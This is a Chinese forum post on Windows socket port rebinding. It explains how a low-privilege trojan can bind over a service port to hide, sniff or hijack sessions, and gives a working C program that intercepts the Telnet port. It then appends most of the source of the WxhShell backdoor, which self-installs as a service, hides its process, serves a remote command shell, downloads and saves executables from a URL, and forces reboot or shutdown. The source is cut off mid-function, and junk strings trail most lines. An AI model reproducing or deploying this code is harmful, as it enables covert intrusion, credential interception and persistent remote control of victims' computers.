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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @%keTTZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8Y]}Gb!  
kt5YgW  
  saddr.sin_family = AF_INET; $/y%[ .  
7@\GU]. 2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #s/{u RYQ  
hG[4O3jo\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c8!j6\dC*  
)m>6hk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Wpa$B )xg  
EsNk<Ra  
  这意味着什么?意味着可以进行如下的攻击: PH{ c,  
4jPwL|#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {K6Kx36  
z4 nou>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >cSi/a,L  
$R3.yX=[\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T=O l`?5  
2@OBeR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `,Q<YT ~  
] +sSg=N7i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >dcqPNDg1^  
1_XO3P\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?\l!]vu*  
^S:cNRSW"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <(ubZ  
sd]0Hx[  
  #include {m>~`   
  #include sL;z"N@PK  
  #include v^57j:sD  
  #include    `=PB2'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fjF!>Dy  
  int main() G<Th<JF)Q  
  { k^~@9F5k  
  WORD wVersionRequested; gA|!$ EAM  
  DWORD ret; ~&vA_/M  
  WSADATA wsaData; s-Q7uohK  
  BOOL val; cG<Q`(5~  
  SOCKADDR_IN saddr; H{&a)!Ms  
  SOCKADDR_IN scaddr; m.|qVN  
  int err; #.RG1-L  
  SOCKET s; v_[)FN"]Y.  
  SOCKET sc; F?!};~$=Z  
  int caddsize; fB@K'JQG  
  HANDLE mt; nA|gQibA  
  DWORD tid;   kwDjK"  
  wVersionRequested = MAKEWORD( 2, 2 ); h,Y{t?Of  
  err = WSAStartup( wVersionRequested, &wsaData ); V_7 Y1GD  
  if ( err != 0 ) { U`HXsq p}  
  printf("error!WSAStartup failed!\n"); /[p?_EX@  
  return -1; wGZ>iLe:  
  } oR!n bm  
  saddr.sin_family = AF_INET; &! 5CwEIF  
   ?nj"Ptzs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 + 6i7,U  
MLEIx()  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V7Vbl?*n  
  saddr.sin_port = htons(23); zWP.1 aA&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &zaW"uy3T  
  { o9DYr[  
  printf("error!socket failed!\n"); \a9D[wk;@  
  return -1; |SwZi'p  
  } ..v@Q%  
  val = TRUE; V!jK3vc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _3-RoA'UZr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5(mCBH  
  {  3J'Bm"  
  printf("error!setsockopt failed!\n"); ,k`YDy|#e  
  return -1; B Lsdx }  
  } (xjoRbU*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; iqc4O /  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )M&I)In'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5#N"WHz!  
v^FV t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O?+tY y?  
  { ~ 4p]E'b  
  ret=GetLastError(); {66Q" H"I  
  printf("error!bind failed!\n"); Cw9@2E'b  
  return -1; /ynKKJx<Y  
  } >llwNT  
  listen(s,2); &Sa_%:*D(  
  while(1) ]x5(bnW x  
  { y^0HCp{  
  caddsize = sizeof(scaddr); {+9^PC_hm;  
  //接受连接请求 e|OG-t[$*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fwar8 i1  
  if(sc!=INVALID_SOCKET) =0jmm(:Jh  
  { $\JQGic`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A>ug'.  
  if(mt==NULL) '? !7 Be  
  { k:(e79  
  printf("Thread Creat Failed!\n"); >Rz#g*@E  
  break; M+;!]tbc3  
  } 6KZ8 .m}:  
  } `W.vW8 !#  
  CloseHandle(mt); { c6DT  
  } troy^H  
  closesocket(s); >qh>Qm8w  
  WSACleanup(); Dn{19V. L  
  return 0; TA-(_jm  
  }   :_I wc=  
  DWORD WINAPI ClientThread(LPVOID lpParam) a{%52B"  
  { "'&>g4F`o  
  SOCKET ss = (SOCKET)lpParam; d=c1WK  
  SOCKET sc; *cI6 &;y  
  unsigned char buf[4096];  !z "a_  
  SOCKADDR_IN saddr; ^bY^x+d  
  long num; K"t:B  
  DWORD val; 0|wKR|zW  
  DWORD ret; 8)ebXc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 af`f*{Co3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0qotC6l~_w  
  saddr.sin_family = AF_INET; 5Qm.ECXV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y:^>(l#;  
  saddr.sin_port = htons(23); w;h\Y+Myyk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r~Is,.zZ}  
  { <*~BG)b  
  printf("error!socket failed!\n"); ] _]6&PZXk  
  return -1; -h^} jP8  
  } =4w^)'/  
  val = 100; S9F]!m^i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )Zu Q;p  
  { {TcbCjyw  
  ret = GetLastError(); $.x?in|_  
  return -1; ;)bF#@Q  
  } GmEJ,%A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g)zn.]  
  { eA~_)-Z-  
  ret = GetLastError(); LYxlo<f  
  return -1; $'I$n  
  } F%ylR^H>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) STF}~`b:3  
  { V+"*A  
  printf("error!socket connect failed!\n"); \I o?ul}za  
  closesocket(sc); Sv^'CpQ  
  closesocket(ss); uq#h\p|  
  return -1; bCac .x#jo  
  } vY+_tpuEH  
  while(1) =+sIX3  
  { 5k7(!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +%cr?g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8d*<Aki?;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f4\p1MYQ  
  num = recv(ss,buf,4096,0); *M\i4FO8  
  if(num>0) l7r N  
  send(sc,buf,num,0); ]@j"0F/`  
  else if(num==0) -T>wi J  
  break; `QyALcO   
  num = recv(sc,buf,4096,0); M$5%QM}  
  if(num>0) 0z<]\a4  
  send(ss,buf,num,0); 5M.n'*   
  else if(num==0) RWm Q]  
  break; @gVyLefS6g  
  } ~sU! 1  
  closesocket(ss); V n!az}  
  closesocket(sc); w _6Y+  
  return 0 ; 1{fwr1b  
  } piM11W}|/  
p6k'Q  
Xk9r"RmiOb  
========================================================== 77bZ  
Lq8Z!AIw>  
下边附上一个代码,,WXhSHELL ] F) -}  
`b'|FKc]  
========================================================== F~0%j}ve  
\kJt@ [w%  
#include "stdafx.h" 3M:B?2  
VA&OI;=ri  
#include <stdio.h> D 5wR?O  
#include <string.h> JV6U0$g_S  
#include <windows.h> r :MaAT<  
#include <winsock2.h> @xM!:  
#include <winsvc.h> i:N^:%  
#include <urlmon.h> QIz N# ;g  
V;+$/>J`vB  
#pragma comment (lib, "Ws2_32.lib") GyXs{*  
#pragma comment (lib, "urlmon.lib") Tk|;5^#H  
.)pRB7O3  
#define MAX_USER   100 // 最大客户端连接数 lIc9, |FL  
#define BUF_SOCK   200 // sock buffer %Fm;LQa ]  
#define KEY_BUFF   255 // 输入 buffer r+.4|u  
X]^E:'E!  
#define REBOOT     0   // 重启 >b"z`{tE  
#define SHUTDOWN   1   // 关机 {O,M}0Eg  
 F3r  
#define DEF_PORT   5000 // 监听端口 lp%.n= '\  
:g:h 0'G  
#define REG_LEN     16   // 注册表键长度 1AkHig,  
#define SVC_LEN     80   // NT服务名长度 YM/3VD  
 rOf  
// 从dll定义API $Aoqtz d\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rZCAj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YKxA2`3v%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tVh4v#@+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dcTM02kEh  
Am`A[rV0  
// wxhshell配置信息 >]08".ajS  
struct WSCFG { Y\9*e5?`I3  
  int ws_port;         // 监听端口 U:p"IY#%  
  char ws_passstr[REG_LEN]; // 口令 F0^~YYRJV  
  int ws_autoins;       // 安装标记, 1=yes 0=no W%Nu]9T  
  char ws_regname[REG_LEN]; // 注册表键名 |l\/ {F  
  char ws_svcname[REG_LEN]; // 服务名 >nW}zkfn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m~IWazj;A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b2-|e_x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qy(/   
int ws_downexe;       // 下载执行标记, 1=yes 0=no jO N}&/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _*B~ESC0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ysn[-l#  
yNf=Kl  
};  p:>?  
+=04X F:  
// default Wxhshell configuration ITY!=>S-  
struct WSCFG wscfg={DEF_PORT, Hh=::Bi  
    "xuhuanlingzhe", ~W2&z]xD  
    1, ?D 9#dGK  
    "Wxhshell", ph (k2cb  
    "Wxhshell", b2kbuk]  
            "WxhShell Service", dC|#l?P  
    "Wrsky Windows CmdShell Service", #$rT 4N c;  
    "Please Input Your Password: ", fU7:3"|s8  
  1, wgP3&4cSUc  
  "http://www.wrsky.com/wxhshell.exe", 6i=wAkn_J  
  "Wxhshell.exe" 5va&N<U  
    }; =WRU<`\  
U$J_:~  
// 消息定义模块 { RX|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jY6=+9Jz5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rd~W.b_b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dnc!=Z89  
char *msg_ws_ext="\n\rExit."; )7mJ+d[  
char *msg_ws_end="\n\rQuit."; _q}%!#4  
char *msg_ws_boot="\n\rReboot..."; T.N7`  
char *msg_ws_poff="\n\rShutdown..."; 1gK3= Ys  
char *msg_ws_down="\n\rSave to "; L"<Eov6  
A;HKR4p;8  
char *msg_ws_err="\n\rErr!"; h#;K9#x6  
char *msg_ws_ok="\n\rOK!"; i4C b&h^  
zk~rKQ,  
char ExeFile[MAX_PATH]; 2l4i-;  
int nUser = 0; t|"d#5'  
HANDLE handles[MAX_USER]; ;9\0x  
int OsIsNt; Z`KXXlJ^i  
m:<3d]L  
SERVICE_STATUS       serviceStatus; d"a7{~l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7%}}m&A7h  
vXZz=E AH  
// 函数声明 Z"KuS  
int Install(void); w:@M|O4`  
int Uninstall(void); <:t\P.  
int DownloadFile(char *sURL, SOCKET wsh); +ANIm^@  
int Boot(int flag); S.>9tV2Ca  
void HideProc(void); +-137!x\q  
int GetOsVer(void); #$)rwm.jW?  
int Wxhshell(SOCKET wsl); B y8Tw;aL  
void TalkWithClient(void *cs); FLOJ  
int CmdShell(SOCKET sock); F=c_PQO  
int StartFromService(void); 3<E$m *  
int StartWxhshell(LPSTR lpCmdLine); v@SrEmg  
D4-U[l+K>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -iX!F~qS,  
VOID WINAPI NTServiceHandler( DWORD fdwControl );   `.-C6!  
0t0:soZ x  
// 数据结构和表定义 2xj`cFT  
SERVICE_TABLE_ENTRY DispatchTable[] = a{.n(M  
{ ?bA]U:  
{wscfg.ws_svcname, NTServiceMain}, +'4dP#  
{NULL, NULL} oIgj)AY<  
}; j"=jK^  
e-t`\5b;  
// 自我安装 x"T^>Q  
int Install(void) }TLC b/+  
{ bcs(#  
  char svExeFile[MAX_PATH]; |mA*[?ye@  
  HKEY key; bJ}+<##  
  strcpy(svExeFile,ExeFile); h /Nt92  
C(+BrIS*  
// 如果是win9x系统,修改注册表设为自启动 WR1,J0UU6  
if(!OsIsNt) { Ww4G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O, 6!`\ND  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #<3\}*/  
  RegCloseKey(key); l!'iLq"K(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )j*qGsOg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ry~LhU:  
  RegCloseKey(key); 7QFEQ}  
  return 0; ((q(Q9(F  
    } je% 12DM  
  } H:Le^WS  
} ,' B=eY,  
else { t9{EO#o' k  
yh<aFYdk  
// 如果是NT以上系统,安装为系统服务 =,]M$M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %V/]V,w:*R  
if (schSCManager!=0) wUndNE   
{ YT8`Vz$+  
  SC_HANDLE schService = CreateService 8A_(]Q  
  ( n\Nl2u& m  
  schSCManager, (7 iMIY  
  wscfg.ws_svcname, Xs_y!l  
  wscfg.ws_svcdisp, &[pw LYf7  
  SERVICE_ALL_ACCESS, N*W.V,6yH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #1k,t  
  SERVICE_AUTO_START, c5pG?jr+d  
  SERVICE_ERROR_NORMAL, w:v:znQrW  
  svExeFile, x N)Ck76  
  NULL, Op~+yMef  
  NULL, (#lS?+w)  
  NULL, +(0eOO'\M  
  NULL, (%, '  
  NULL AR^Di`n!  
  ); v2R:=d ')>  
  if (schService!=0) WFG/vzJ  
  { rK wkj)  
  CloseServiceHandle(schService); H;ib3?  
  CloseServiceHandle(schSCManager); 6 H.Da]hk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :8 :>CHa  
  strcat(svExeFile,wscfg.ws_svcname); Nx'j+>bz>y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K6oLSr+EAK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *^()el,d  
  RegCloseKey(key); ]ghPbS@  
  return 0; $la,_Sr  
    } Y.J$f<[R  
  } gX<C-y6o  
  CloseServiceHandle(schSCManager); C? S%fF  
} <KX#;v!I  
} oef(i}8O@  
gw:BKR'o  
return 1; u)-l+U.  
} )1le-SC  
j*}xe'#  
// 自我卸载 O8%/Id  
int Uninstall(void) KW\`&ki  
{ g;T`~  
  HKEY key; pz+#1=b]  
k$c!J'qL&  
if(!OsIsNt) { 5 B6:pH6e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { we3t,?`rk7  
  RegDeleteValue(key,wscfg.ws_regname);  3@*8\  
  RegCloseKey(key); Lq.k?!D3uh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |n;7fqK  
  RegDeleteValue(key,wscfg.ws_regname); 3( kZfH~  
  RegCloseKey(key); fmh]Y/UC  
  return 0; `'`XB0vb  
  } #q%/~-Uk  
} zF7T5 Ge  
} b._pG(o1  
else { e6Y0G,K  
J5wq}<8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w'C(? ?mH  
if (schSCManager!=0) FU zY&@Y  
{ = 4L.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e!#:h4I  
  if (schService!=0) I6+5mv\  
  { "\ md  
  if(DeleteService(schService)!=0) { #"l=Lv  
  CloseServiceHandle(schService); KVBz=  
  CloseServiceHandle(schSCManager); :s\s3#?  
  return 0; $l=m?r=  
  } %-D2I  
  CloseServiceHandle(schService); h1$,  
  } A]1](VQ)4  
  CloseServiceHandle(schSCManager); Flsf5 Tr0  
} HXX"B,N  
} TD<.:ul]  
3 }XS| Y  
return 1; t V</ x0#  
} $|KbjpQ  
38 F8(QU{  
// 从指定url下载文件 C'Q} Z_  
int DownloadFile(char *sURL, SOCKET wsh) NR" Xn7G  
{ >U z3F7nHi  
  HRESULT hr; P:G^@B3^  
char seps[]= "/"; o/&Q^^Xj^~  
char *token; G"]'`2.m  
char *file; *=rl<?tX  
char myURL[MAX_PATH]; @L0.Z1 ).  
char myFILE[MAX_PATH]; mSs%gL]g  
^+88z>  
strcpy(myURL,sURL); $P$OWp?b  
  token=strtok(myURL,seps); B4%W,F:@  
  while(token!=NULL) h8Gp>b  
  { "\30YO>\  
    file=token; [1Rs~T"  
  token=strtok(NULL,seps); :0/I2:  
  } *`[LsG]ZF  
bLg1Dd7Q  
GetCurrentDirectory(MAX_PATH,myFILE); 5^qI6 U  
strcat(myFILE, "\\"); WE\V<MGS/  
strcat(myFILE, file); c(fwl`y !x  
  send(wsh,myFILE,strlen(myFILE),0); ]'{<O3:7  
send(wsh,"...",3,0); z,vjY$t:/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +]G;_/[2  
  if(hr==S_OK) ?(Nls.c  
return 0; :^K|u^_>P  
else QM=X<?m/,=  
return 1; 72aj4k]^  
r!+)U#8  
} u?!p[y6  
cYK3>p A  
// 系统电源模块 TWMD f  
int Boot(int flag) x@yF|8  
{ Zi^&x6y^  
  HANDLE hToken; gqE{  
  TOKEN_PRIVILEGES tkp; @l 1 piz8  
K:mb$YJ&  
  if(OsIsNt) { \%UA6uj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  C+_ NG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _("{fJ,A  
    tkp.PrivilegeCount = 1; o`G@Je_}x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *x$\5;A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H'+P7*k#M  
if(flag==REBOOT) { !I@"+oY<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mAz':R[  
  return 0; }2}hH0R  
} "[76>\'H  
else { >k"/:g^t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Zx@{nVoYe~  
  return 0; t<rhrW75P  
}  vO 3fAB  
  } 2|+**BxHD  
  else { e(cctC|l  
if(flag==REBOOT) { n(&6 E3ZcI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M^a QH/=:"  
  return 0; N]gdS]pP2{  
} .pZwhb  
else { ?_IRO|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1 Nv_;p.{  
  return 0; K*>lq|i u  
} MbYAK-l.h  
} 6#v"+V  
ZhW>H  
return 1; Y<l{DmrsA  
} RV-7y^[]^  
BDpeAF8z  
// win9x进程隐藏模块 v*kTTaU&  
void HideProc(void) /_v@YB!0  
{ D3$}S{Yw1  
z6\Y& {  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sa{X.}i%E  
  if ( hKernel != NULL ) kP3'BBd,  
  { [/xw5rO%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lj(}{O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); to2dkU  
    FreeLibrary(hKernel); y8VLFe;  
  } "YM)bc  
52=?! JM  
return; 49cQA$Ad  
} zxY  
~]3y66 7  
// 获取操作系统版本 *22}b.)  
int GetOsVer(void) >zVj+  
{ QOMh"wC3  
  OSVERSIONINFO winfo; {'T=&`&OF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q u{#4qToA  
  GetVersionEx(&winfo); 1t6VS 3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5\lOZYHX  
  return 1; F.zn:yX5  
  else H1]G<N3  
  return 0; &Nl:  
} (bY#!16C:  
Y;G+jC8   
// 客户端句柄模块 s%GhjWZS  
int Wxhshell(SOCKET wsl) ?"\X46Gz;  
{ B[}#m'Lv  
  SOCKET wsh; })%WL;~  
  struct sockaddr_in client; a!vF;J-Zqa  
  DWORD myID; L'M'I0"/  
$5Jo %K%  
  while(nUser<MAX_USER) L> > %  
{ >8\EdN59{  
  int nSize=sizeof(client); /Ii a>XY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4vQ]7`I.f  
  if(wsh==INVALID_SOCKET) return 1; sz9C':`W  
Z7lv |m&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T_i]y4dg  
if(handles[nUser]==0) fo@ 2@  
  closesocket(wsh); |5^tp  
else e4ym6q<6!  
  nUser++; %#7Yr(&  
  } S jgjGJw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (< gk<e*  
gZ8n[zxf6  
  return 0; hi^@969  
} ju~js  
Sxa+"0d6  
// 关闭 socket \4zb9CxOZ  
void CloseIt(SOCKET wsh) O0[.*xG  
{ 2|8e7q:+*  
closesocket(wsh); Hx5t![g2K!  
nUser--; ckG`^<  
ExitThread(0); 9)}Nx>K  
} vau0Jn%=ck  
3Uw}!>`%  
// 客户端请求句柄 {a;my"ly  
void TalkWithClient(void *cs) JI##l:,7r  
{ R-5EztmLae  
9Kf# jZ  
  SOCKET wsh=(SOCKET)cs; {]ie|>'=C  
  char pwd[SVC_LEN]; J=Q?_$xb}  
  char cmd[KEY_BUFF]; u2}zRC=  
char chr[1]; v0v%+F#>@  
int i,j; H=,0p  
w_4/::K*  
  while (nUser < MAX_USER) { g:V8"'  
]rU$0)VN  
if(wscfg.ws_passstr) { aAJ'0xnj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JO{Rth  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WCJ$S\#  
  //ZeroMemory(pwd,KEY_BUFF); QU{|S.\  
      i=0; b5NPG N  
  while(i<SVC_LEN) { M*6}#ST  
;iEr+  
  // 设置超时 "-bsWC  
  fd_set FdRead; kB:6e7D|[  
  struct timeval TimeOut; 6d4)7PL  
  FD_ZERO(&FdRead); ZxW4 i  
  FD_SET(wsh,&FdRead); anxZ|DE  
  TimeOut.tv_sec=8;  #4?Z|_j3  
  TimeOut.tv_usec=0; RHe'L36W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bruM#T@}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vG;)(.:  
*>"k/XUn$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JWzN 'a R  
  pwd=chr[0]; ] /w: 5o#  
  if(chr[0]==0xd || chr[0]==0xa) { w=Cq v~  
  pwd=0; JzI/kH~  
  break; iY_E"$}P  
  } q3Tp /M.  
  i++; <~D-ew^BU  
    } $w%n\t>B  
57PoJ+  
  // 如果是非法用户,关闭 socket [R-&5 G!x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =\uQGH  
} wX7|a/|@  
01~&H8 =  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5ctH=t0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N i\*<:_  
Rd#V,[d  
while(1) { B}Lz#'5_  
YhpNeP{A  
  ZeroMemory(cmd,KEY_BUFF); gpt98:w:  
+T\c<lJ9  
      // 自动支持客户端 telnet标准   B{`4"uEb$G  
  j=0; ea7l:(C  
  while(j<KEY_BUFF) { 9#C hn~ \  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e(t,~(  
  cmd[j]=chr[0]; ~ 8hAmM  
  if(chr[0]==0xa || chr[0]==0xd) { o'uv5asdb  
  cmd[j]=0; -^a?]`3_v  
  break; D`|.%  
  } f/!^QL{  
  j++; &}N=a  
    } @t W;(8-  
UM?{ba9  
  // 下载文件 CY{`IZ  
  if(strstr(cmd,"http://")) { (+_i^SqK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ah1DuTT/G  
  if(DownloadFile(cmd,wsh)) 8+gti*C?\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yr7%C  
  else io8c[#"uU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E Ux kYl  
  } 4O~E4" ]  
  else { )}{V#,xz@  
l,(Mm,3  
    switch(cmd[0]) { `/+%mKlC|[  
  2`|1 !x  
  // 帮助 }\p>h  
  case '?': { \Pv_5LAo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^7cZ9/3  
    break; wTT_jyH)  
  } g`(' k5=  
  // 安装 =SY5E{`4p  
  case 'i': { OB-2xmZW  
    if(Install()) N001c)*7Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7hQf T76h  
    else f(Hh(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lbo8> L(  
    break; G|WO  
    } v\LcZt`}  
  // 卸载 m@qM|%(0x  
  case 'r': { Qf?5"=:#  
    if(Uninstall()) KZK9|121  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )T4%}$(  
    else w>RBth^p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a-P 'h1hbH  
    break; "Zu hN(-`  
    } {|{}]B  
  // 显示 wxhshell 所在路径 y(I_ 6+B^  
  case 'p': { ]{` 8C  
    char svExeFile[MAX_PATH]; In%K  
    strcpy(svExeFile,"\n\r"); W>ZL[BQ  
      strcat(svExeFile,ExeFile); C&d%S|:IR  
        send(wsh,svExeFile,strlen(svExeFile),0); \dIc_6/D1  
    break; !>%U8A  
    } OI=LuWGQE1  
  // 重启 7.-g=Rcz  
  case 'b': { ZjlFr(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cy0 %tsB|  
    if(Boot(REBOOT)) \ow3_^Bk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); < C{-ph  
    else { MT`gCvoF4P  
    closesocket(wsh); a,B2;4"  
    ExitThread(0); )+' De  
    } c^N'g!on  
    break; 2<Vw :+,  
    } ;B8 #Nf  
  // 关机 >lD*:#o  
  case 'd': { )kMA_\$,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "K.XoG4|  
    if(Boot(SHUTDOWN)) N k~Xz  
